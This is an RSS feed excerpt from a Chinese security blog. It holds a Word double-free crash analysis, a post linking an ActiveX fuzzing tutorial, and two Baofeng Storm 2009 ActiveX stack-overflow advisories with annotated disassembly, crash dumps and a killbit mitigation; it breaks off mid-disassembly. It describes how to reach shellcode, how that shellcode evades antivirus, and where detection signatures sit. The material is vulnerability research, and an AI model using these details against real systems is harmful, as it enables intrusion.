0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>覆盖后的<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; r ebp<br />
ebp=6c030a01</p>
<p>注意doc便宜 BE8 位置上的内容<br />
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F</p>
<p>00000BE0   00 00 00 FF 34 D6 06 00  01 0A 03 6C C4 33 00 30   &#8230;4?&#8230;.l?.0<br />
00000BF0   00 00 06 00 00 16 24 01  49 66 01 00 00 00 00 05   &#8230;&#8230;$.If&#8230;&#8230;<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>往下走的时候<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; u<br />
winword+0x33c4:<br />
300033c4 55              push    ebp<br />
300033c5 8bec            mov     ebp,esp<br />
300033c7 833d74d2a83002  cmp     dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2<br />
300033ce 0f855c903600    jne     winword!wdCommandDispatch+0x8c777 (3036c430)<br />
300033d4 ff15bc130030    call    dword ptr [winword+0x13bc (300013bc)]<br />
300033da 85c0            test    eax,eax<br />
300033dc 7410            je      winword+0x33ee (300033ee)<br />
300033de ff750c          push    dword ptr [ebp+0Ch]<br />
0:000&gt; u<br />
winword+0x33e1:<br />
300033e1 ff7508          push    dword ptr [ebp+8]<br />
300033e4 50              push    eax<br />
300033e5 e80d000000      call    winword+0x33f7 (300033f7)<br />
300033ea 5d              pop     ebp<br />
300033eb c20800          ret     8                          // 需要用到 ret 8 来协调<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
接下来就是要的shellcode</p>
<p>总结如下：<br />
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。<br />
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)</p>
<p>AVP特征:<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0xb7e &#8211; 0xbf7</p>
<p>所在格式:</p>
<p>Border Code (BRC) -&gt; sprmTTableBorders</p>
<p>sprmTTableBorders  0xd613  change tap.rgbrcTable  BRC[6] (see below)  variable length<br />
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted<br />
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.</p>
<p>avp不是这个格式来定位特征,应该是死偏移来解决的。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>支持大萝卜的 softrce~~</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/213#comment-99">2010年01月30日</a>, gz1x writes: 分析的不错，再待佳作 ：）</li><li><a href="http://www.softrce.net/archives/213#comment-112">2010年02月8日</a>, <a href='http://www.7qiao.net.cn/' rel='external nofollow' class='url'>狐狸</a> writes: 呵呵，路过，顶一下。</li><li><a href="http://www.softrce.net/archives/213#comment-158">2010年04月15日</a>, wordexp writes: 写了这么多可惜分析错了.</li><li><a href="http://www.softrce.net/archives/213#comment-159">2010年04月15日</a>, Cyg07 writes: 刚好在写邮件，wordexp牛有什么错误请指出,不需感叹。 :)</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/213/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ActiveX 控件组件的Fuzz和利用</title>
		<link>http://www.softrce.net/archives/136</link>
		<comments>http://www.softrce.net/archives/136#comments</comments>
		<pubDate>Thu, 14 May 2009 19:36:28 +0000</pubDate>
		<dc:creator>caterqiu</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[Fuzz]]></category>
		<category><![CDATA[控件]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/136</guid>
		<description><![CDATA[前几天暴风影音的那个0day也跟了下 当然以我技术，那肯定是没有跟出来了 这也注定，俺不适合搞技术 漏洞挖掘时一门严谨的科学，需要的知识经验太多了 最近也有一个朋友加我和我交流溢出... ]]></description>
			<content:encoded><![CDATA[<p>前几天暴风影音的那个0day也跟了下<br />
当然以我技术，那肯定是没有跟出来了<br />
这也注定，俺不适合搞技术</p>
<p>漏洞挖掘时一门严谨的科学，需要的知识经验太多了<br />
最近也有一个朋友加我和我交流溢出程序的编写和利用</p>
<p>再说下Cater 不只是一个传说，请大哥们放过我吧。<br />
<span id="more-136"></span><br />
郑重申明下<br />
1、我已经该行做了水果渠道，工作已经不是搞IT的了<br />
2、我也不是什么黑客，我没法和YingCracker这等牛比人<br />
3、我不否认我在某人心中是个坏人，尽管我还没有伤害到她<br />
4、我只用过Cater，caterqiu，老黄牛这些ID，我只是小打小闹搞了搞技术，我只是一个迷途小子。</p>
<p>丢出最后一篇技术的文章 纪念下，当年学习 ActiveX控件的漏洞Fuzz和漏洞利用学习的往事<br />
希望错恋上 Cater 的朋友不联系搞坏事。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>2009年，我的目标是好好整理思绪和经历好好做事。</p>
<p>送上我的最后一篇有关技术的文档，来告别江湖上的三位大哥 K头、K少、老k</p>
<p>www.caterqiu.cn/UPLOAD/2009/5/ActiveX_And_Fuzz_Tutorial.By.Cater.Qiu.rar<br />
PassWord:WwW.CaterQiu.Cn</p>
<p>From:CaterQiu&#8217;s Blog<br />
Link:http://www.caterqiu.cn/Article/ActiveX_Fuzz_And_Tutorial_By_CaterQiu.html</p>
<p>Blog:WwW.CaterQiu.Cn<br />
E-Mail:Cater.Qiu@Gmail.CoM<br />
Date:May 15 ,2009</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/136#comment-69">2009年05月15日</a>, robinh00d writes: 支持cater</li><li><a href="http://www.softrce.net/archives/136#comment-70">2009年05月15日</a>, root writes: 人怕出名猪怕壮。
游戏该玩还得玩，换个方法玩就是了。</li><li><a href="http://www.softrce.net/archives/136#comment-71">2009年05月15日</a>, <a href='http://www.caterqiu.cn' rel='external nofollow' class='url'>cater</a> writes: …我出毛毛名哦。
其实写点东西到处发发主要还是想让自己的心得被人分享呗
写的大多是简单的入门教程

哎，我想要月收入一万五，只可惜我不是什么美女YingCracker。</li><li><a href="http://www.softrce.net/archives/136#comment-72">2009年05月15日</a>, robinh00d writes: 以前用过comraider~</li><li><a href="http://www.softrce.net/archives/136#comment-73">2009年05月15日</a>, ayarei writes: @cater, 技术性美男吧，恩</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/english-version" rel="bookmark" title="Permanent Link: English Version">English Version</a></li><li><a href="http://www.softrce.net/english-version/baofeng-storm-activex-control-onbeforevideodownload-buffer-overflow-vulnerability" rel="bookmark" title="Permanent Link: BaoFeng Storm ActiveX Control &#8216;OnBeforeVideoDownload()&#8217; Buffer Overflow Vulnerability">BaoFeng Storm ActiveX Control &#8216;OnBeforeVideoDownload()&#8217; Buffer Overflow Vulnerability</a></li><li><a href="http://www.softrce.net/archives/100" rel="bookmark" title="Permanent Link: 暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/136/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/100</link>
		<comments>http://www.softrce.net/archives/100#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:18:59 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=100</guid>
		<description><![CDATA[暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &... ]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-100"></span><br />
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05<br />
C:\Program Files\StormII\Config.dll<br />
Sub SetAttributeValue (<br />
  ByVal lpQueryStr  As String ,<br />
  ByVal bstrAttributeName  As String ,<br />
  ByVal lpValueStr  As String<br />
)</p>
<p>当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p100code2'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1002"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code" id="p100code2"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4D                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4F                 <span style="color: #00007f; font-weight: bold;">sub</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">208h</span>       <span style="color: #666666; font-style: italic;">; 开辟208h的堆栈空间</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A55                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; 判断参数1是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A59                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5B                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span>  <span style="color: #666666; font-style: italic;">; 判断参数3是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5F                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A61                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span>    <span style="color: #666666; font-style: italic;">; 参数1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A64                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; eax正好指向ebp-208h的堆栈区域</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>wcscpy       <span style="color: #666666; font-style: italic;">; oh，my god，不进行参数合法性检查，直接开始拷贝操作，</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                                         <span style="color: #666666; font-style: italic;">; 哦豁了，eax指向的堆栈区域全部被超长非法参数占领了-_-！</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A72                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A78                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_8<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A7C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> String   <span style="color: #666666; font-style: italic;">; &quot;/@&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A81                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aSS      <span style="color: #666666; font-style: italic;">; &quot;%s%s&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A86                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; String</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A87                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>swprintf     <span style="color: #666666; font-style: italic;">; 上面的拷贝直接影响到这里的swprintf,相当于再对eax指向的堆栈进行一次拷贝操作</span>
             <span style="color: #666666; font-style: italic;">; 没有上边的拷贝，这里也要出问题</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A8D                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A90                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A96                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A99                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10001201
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9F                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA1                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_1000CC9A
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA6                 <span style="color: #00007f; font-weight: bold;">jmp</span>     <span style="color: #000000; font-weight: bold;">short</span> locret_10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 <span style="color: #666666; font-style: italic;">; ---------------------------------------------------------------------------</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 loc_10009AA8<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+Dj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                                         <span style="color: #666666; font-style: italic;">; sub_10009A4C+13j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">80004005h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD locret_10009AAD<span style="color: #339933;">:</span>                        <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+5Aj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD                 <span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAE                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">10h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p>ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 10020000   C:\Program Files\StormII\Config.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (first chance)<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (!!! second chance !!!)<br />
eax=80004005 ebx=100116b0 ecx=0175f998 edx=00030001 esi=0039fe98 edi=00000000<br />
eip=00410061 esp=0175f5ec ebp=00410041 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212<br />
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Internet Explorer\IEXPLORE.EXE<br />
IEXPLORE+0&#215;10061:<br />
00410061 ff              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]<br />
&#8220;Compatibility Flags&#8221;=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/100#comment-41">2009年05月2日</a>, <a href='http://www.windowsxp-vista.cn/?p=32' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 | windows xp vista windows7</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100#comment-42">2009年05月2日</a>, <a href='http://blog.24reader.com/vincentlam/2009/05/02/%e6%9a%b4%e9%a3%8e%e5%bd%b1%e9%9f%b3%e8%a2%ab%e6%8a%a5%e5%91%8a%e5%ad%98%e5%9c%a80day%e5%ae%89%e5%85%a8%e6%bc%8f%e6%b4%9e/' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 於囧</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100#comment-81">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/100/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/96</link>
		<comments>http://www.softrce.net/archives/96#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:15:51 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=96</guid>
		<description><![CDATA[暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &#60... ]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-96"></span><br />
clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB<br />
C:\Program Files\StormII\mps.dll<br />
Sub OnBeforeVideoDownload(ByVal URL  As String)</p>
<p>当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>
<blockquote><p>sub_10014240<br />
   |&#8211;.text:1001430A  call    sub_10014D40<br />
   |&#8211;sub_10014D40<br />
         |&#8211;.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0<br />
         |&#8211;sub_1005DAF0<br />
               |&#8211;.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50<br />
               |&#8211;sub_1005EB50<br />
       |&#8211;.text:1005EB9A  call    sub_10060320<br />
                     |&#8211;sub_10060320<br />
                           |&#8211;.text:1006033C    call    ds:lstrcpynA<br />
                     |     add     esp, 1348h<br />
                     |&#8211;{ retn  14h</p></blockquote>
<p>&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p96code4'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p964"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="code" id="p96code4"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB6F                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB70                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB71                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1350h</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB78                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aStormbox_0 <span style="color: #666666; font-style: italic;">; &quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB7E                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
